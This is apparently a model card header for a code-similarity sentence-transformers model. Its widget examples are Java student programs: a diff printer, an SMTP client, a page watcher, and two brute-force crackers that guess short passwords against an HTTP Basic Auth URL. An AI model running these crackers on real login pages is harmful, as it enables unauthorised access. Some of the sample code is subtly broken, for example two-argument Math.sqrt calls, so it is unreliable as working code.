|
--- |
|
tags: |
|
- sentence-transformers |
|
- sentence-similarity |
|
- feature-extraction |
|
- generated_from_trainer |
|
- dataset_size:30069 |
|
- loss:SoftmaxLoss |
|
base_model: microsoft/unixcoder-base-unimodal |
|
widget: |
|
- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\ |
|
\n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\ |
|
\ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\ |
|
\ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \ |
|
\ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\ |
|
\ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\ |
|
\ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\ |
|
\ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\ |
|
\ {\n Diff.change next = script;\n\n while (next != null)\n {\n\ |
|
\ Diff.change t, end;\n\n \n t = next;\n end\ |
|
\ = hunkfun(next);\n\n \n next = end;\n end = null;\n\ |
|
\ \n \n\n \n print_hunk(t);\n\n \n\ |
|
\ end = next;\n }\n outfile.flush();\n }\n\n \n\n\ |
|
\ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \ |
|
\ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \ |
|
\ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\ |
|
\ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \ |
|
\ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\ |
|
\n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\ |
|
\n for (next = hunk; next != null; next = next.next())\n {\n \ |
|
\ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\ |
|
\ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\ |
|
\ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\ |
|
\ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\ |
|
\ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\ |
|
\ nontrivial = true;\n }\n\n first0 = f0;\n last0\ |
|
\ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\ |
|
\ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\ |
|
\ = show_to;\n }\n\n \n protected void print_header(String filea, String\ |
|
\ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \ |
|
\ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\ |
|
\ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\ |
|
\ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\ |
|
\" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\ |
|
\ static char change_letter(int inserts, int deletes) {\n if (inserts ==\ |
|
\ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\ |
|
\ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\ |
|
\ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\ |
|
\ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \ |
|
\ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \ |
|
\ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\ |
|
\ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\ |
|
\n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\ |
|
\ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\ |
|
\ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\ |
|
\ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\ |
|
, file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\ |
|
\n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \ |
|
\ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\ |
|
\ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\ |
|
\ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\ |
|
\ deletes));\n\n \n if (inserts != 0)\n {\n boolean\ |
|
\ inserting = true;\n for (int i = first1; i <= last1; i++)\n \ |
|
\ {\n \n if (! inserting)\n outfile.println(i\ |
|
\ - first1 + first0 + \"a\");\n inserting = true;\n\n \ |
|
\ \n\n if (\".\".equals(file1[i]))\n {\n \ |
|
\ outfile.println(\"..\");\n outfile.println(\".\"\ |
|
);\n \n outfile.println(i - first1 + first0\ |
|
\ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \ |
|
\ }\n else\n \n print_1_line\ |
|
\ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \ |
|
\ outfile.println(\".\");\n }\n }\n }\n\n \n public static\ |
|
\ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\ |
|
\ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\ |
|
\ void print_context_label (String cad, File inf, String label) {\n if (label\ |
|
\ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\ |
|
\ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\ |
|
\ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \ |
|
\ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\ |
|
\ print_header(String filea,String fileb) {\n print_context_label (\"***\"\ |
|
, new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\ |
|
\ fileb);\n }\n\n \n private String find_function(Object[] lines, int\ |
|
\ x) {\n return null;\n }\n\n protected void print_function(Object[]\ |
|
\ file,int x) {\n String function = find_function (file0, first0);\n \ |
|
\ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\ |
|
\ (function.length() < 40) ? function : function.substring(0,40)\n \ |
|
\ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\ |
|
\n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\ |
|
\ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\ |
|
\ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\ |
|
\ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\ |
|
\ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\ |
|
\ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\ |
|
\ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\ |
|
);\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\ |
|
\ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\ |
|
\ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \ |
|
\ \n\n String prefix = \" \";\n if (next != null &&\ |
|
\ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\ |
|
!\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\ |
|
\n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\ |
|
\ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\ |
|
\ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\ |
|
\n while (next != null && next.line1 + next.inserted <= i)\n \ |
|
\ next = next.next;\n\n \n\n String prefix = \" \";\n \ |
|
\ if (next != null && next.line1 <= i)\n \n prefix\ |
|
\ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\ |
|
\ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\ |
|
\ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\ |
|
\ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\ |
|
\ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\ |
|
\ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\ |
|
\ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\ |
|
\ else\n super.print_number_range(',',a,b);\n }\n\n protected\ |
|
\ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\ |
|
\ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\ |
|
\ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\ |
|
\ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\ |
|
\ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\ |
|
@@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\ |
|
);\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\ |
|
\n \n print_function(file0,first0);\n\n outfile.println();\n\n\ |
|
\ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\ |
|
\n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\ |
|
\ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\ |
|
\", file0[i++]);\n j++;\n }\n else {\n \n\n \ |
|
\ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\ |
|
\ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \ |
|
\ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\ |
|
\ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \ |
|
\ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\ |
|
\ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\ |
|
\ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\ |
|
\ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\ |
|
\ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\ |
|
\ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\ |
|
\ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\ |
|
\tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\ |
|
\ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\ |
|
\ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \ |
|
\ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\ |
|
\ {\n case 'e': \n style = 'e'; break;\n case\ |
|
\ 'c': \n style = 'c'; break;\n case 'u':\n \ |
|
\ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\ |
|
\ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\ |
|
\ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \ |
|
\ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\ |
|
n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\ |
|
\ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\ |
|
\ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\ |
|
\ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\ |
|
\ }\n\treturn msg;\n }\n}\n" |
|
sentences: |
|
- "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\ |
|
\ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\ |
|
\ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\ |
|
\ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\ |
|
\ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\ |
|
is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\ |
|
\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\ |
|
os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\ |
|
\ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\ |
|
HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
|
\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
|
\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
|
\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\ |
|
\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ |
|
\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
|
Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
|
<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\ |
|
got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\ |
|
\ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\ |
|
\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\ |
|
if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}" |
|
- "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\ |
|
\ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\ |
|
\ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\ |
|
\ boolean auth = false;\n Date = new Date();\n boolean morePasswords\ |
|
\ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\ |
|
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\ |
|
\ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \ |
|
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\ |
|
\ URL url = new URL(resource);\n HttpURLConnection conn\ |
|
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ |
|
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ |
|
\ {\n System.out.println(\"cracked with \" + new String(password));\n\ |
|
\ auth = true;\n }\n } catch (Exception e) {\n\ |
|
\ System.out.println(\" was exception: \" + e.getMessage());\n \ |
|
\ }\n int count = passPtr;\n while (true) {\n \ |
|
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \ |
|
\ password[count] = validChars.charAt(0);\n count--;\n\ |
|
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\ |
|
\ + 1);\n break;\n }\n if (count < 0) {\n\ |
|
\ \n if (passPtr < MAX_LENGTH - 1) {\n \ |
|
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\ |
|
\ } else {\n morePasswords = false;\n \ |
|
\ }\n break;\n }\n }\n \n }\ |
|
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\ |
|
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\ |
|
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\ |
|
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\ |
|
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\ |
|
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\ |
|
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\ |
|
\ password);\n }\n}\n" |
|
- "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\ |
|
\ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\ |
|
\ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\ |
|
);\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\ |
|
\ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\ |
|
\ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\ |
|
mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\ |
|
\ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\ |
|
\ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\ |
|
\ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\ |
|
\ Thread.sleep(2000);\n newin = new DataInputStream( new\ |
|
\ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\ |
|
\ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\ |
|
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\ |
|
\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ |
|
\ }\n\n }\n\n}" |
|
- source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\ |
|
\n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\ |
|
\ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\ |
|
\ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \ |
|
\ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\ |
|
\ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\ |
|
\ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\ |
|
\ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\ |
|
\ {\n Diff.change next = script;\n\n while (next != null)\n {\n\ |
|
\ Diff.change t, end;\n\n \n t = next;\n end\ |
|
\ = hunkfun(next);\n\n \n next = end;\n end = null;\n\ |
|
\ \n \n\n \n print_hunk(t);\n\n \n\ |
|
\ end = next;\n }\n outfile.flush();\n }\n\n \n\n\ |
|
\ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \ |
|
\ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \ |
|
\ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\ |
|
\ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \ |
|
\ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\ |
|
\n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\ |
|
\n for (next = hunk; next != null; next = next.next())\n {\n \ |
|
\ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\ |
|
\ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\ |
|
\ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\ |
|
\ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\ |
|
\ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\ |
|
\ nontrivial = true;\n }\n\n first0 = f0;\n last0\ |
|
\ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\ |
|
\ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\ |
|
\ = show_to;\n }\n\n \n protected void print_header(String filea, String\ |
|
\ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \ |
|
\ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\ |
|
\ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\ |
|
\ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\ |
|
\" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\ |
|
\ static char change_letter(int inserts, int deletes) {\n if (inserts ==\ |
|
\ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\ |
|
\ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\ |
|
\ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\ |
|
\ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \ |
|
\ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \ |
|
\ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\ |
|
\ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\ |
|
\n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\ |
|
\ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\ |
|
\ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\ |
|
\ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\ |
|
, file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\ |
|
\n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \ |
|
\ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\ |
|
\ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\ |
|
\ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\ |
|
\ deletes));\n\n \n if (inserts != 0)\n {\n boolean\ |
|
\ inserting = true;\n for (int i = first1; i <= last1; i++)\n \ |
|
\ {\n \n if (! inserting)\n outfile.println(i\ |
|
\ - first1 + first0 + \"a\");\n inserting = true;\n\n \ |
|
\ \n\n if (\".\".equals(file1[i]))\n {\n \ |
|
\ outfile.println(\"..\");\n outfile.println(\".\"\ |
|
);\n \n outfile.println(i - first1 + first0\ |
|
\ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \ |
|
\ }\n else\n \n print_1_line\ |
|
\ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \ |
|
\ outfile.println(\".\");\n }\n }\n }\n\n \n public static\ |
|
\ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\ |
|
\ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\ |
|
\ void print_context_label (String cad, File inf, String label) {\n if (label\ |
|
\ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\ |
|
\ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\ |
|
\ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \ |
|
\ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\ |
|
\ print_header(String filea,String fileb) {\n print_context_label (\"***\"\ |
|
, new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\ |
|
\ fileb);\n }\n\n \n private String find_function(Object[] lines, int\ |
|
\ x) {\n return null;\n }\n\n protected void print_function(Object[]\ |
|
\ file,int x) {\n String function = find_function (file0, first0);\n \ |
|
\ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\ |
|
\ (function.length() < 40) ? function : function.substring(0,40)\n \ |
|
\ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\ |
|
\n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\ |
|
\ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\ |
|
\ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\ |
|
\ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\ |
|
\ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\ |
|
\ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\ |
|
\ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\ |
|
);\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\ |
|
\ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\ |
|
\ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \ |
|
\ \n\n String prefix = \" \";\n if (next != null &&\ |
|
\ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\ |
|
!\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\ |
|
\n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\ |
|
\ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\ |
|
\ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\ |
|
\n while (next != null && next.line1 + next.inserted <= i)\n \ |
|
\ next = next.next;\n\n \n\n String prefix = \" \";\n \ |
|
\ if (next != null && next.line1 <= i)\n \n prefix\ |
|
\ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\ |
|
\ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\ |
|
\ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\ |
|
\ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\ |
|
\ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\ |
|
\ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\ |
|
\ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\ |
|
\ else\n super.print_number_range(',',a,b);\n }\n\n protected\ |
|
\ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\ |
|
\ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\ |
|
\ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\ |
|
\ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\ |
|
\ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\ |
|
@@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\ |
|
);\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\ |
|
\n \n print_function(file0,first0);\n\n outfile.println();\n\n\ |
|
\ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\ |
|
\n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\ |
|
\ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\ |
|
\", file0[i++]);\n j++;\n }\n else {\n \n\n \ |
|
\ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\ |
|
\ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \ |
|
\ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\ |
|
\ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \ |
|
\ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\ |
|
\ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\ |
|
\ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\ |
|
\ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\ |
|
\ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\ |
|
\ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\ |
|
\ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\ |
|
\tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\ |
|
\ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\ |
|
\ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \ |
|
\ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\ |
|
\ {\n case 'e': \n style = 'e'; break;\n case\ |
|
\ 'c': \n style = 'c'; break;\n case 'u':\n \ |
|
\ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\ |
|
\ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\ |
|
\ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \ |
|
\ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\ |
|
n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\ |
|
\ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\ |
|
\ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\ |
|
\ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\ |
|
\ }\n\treturn msg;\n }\n}\n" |
|
sentences: |
|
- "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\ |
|
\ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\ |
|
\ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ |
|
.toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\ |
|
\ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\ |
|
\ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\ |
|
\ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\ |
|
\ i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n\ |
|
\ return null;\n if(indices[i] == passwordDataSet.length ){\n \ |
|
\ indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\ |
|
\n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n\ |
|
\ }\n \n public void setIndices(int size){\n this.indices = new int[size];\n\ |
|
\ for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public\ |
|
\ void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n\ |
|
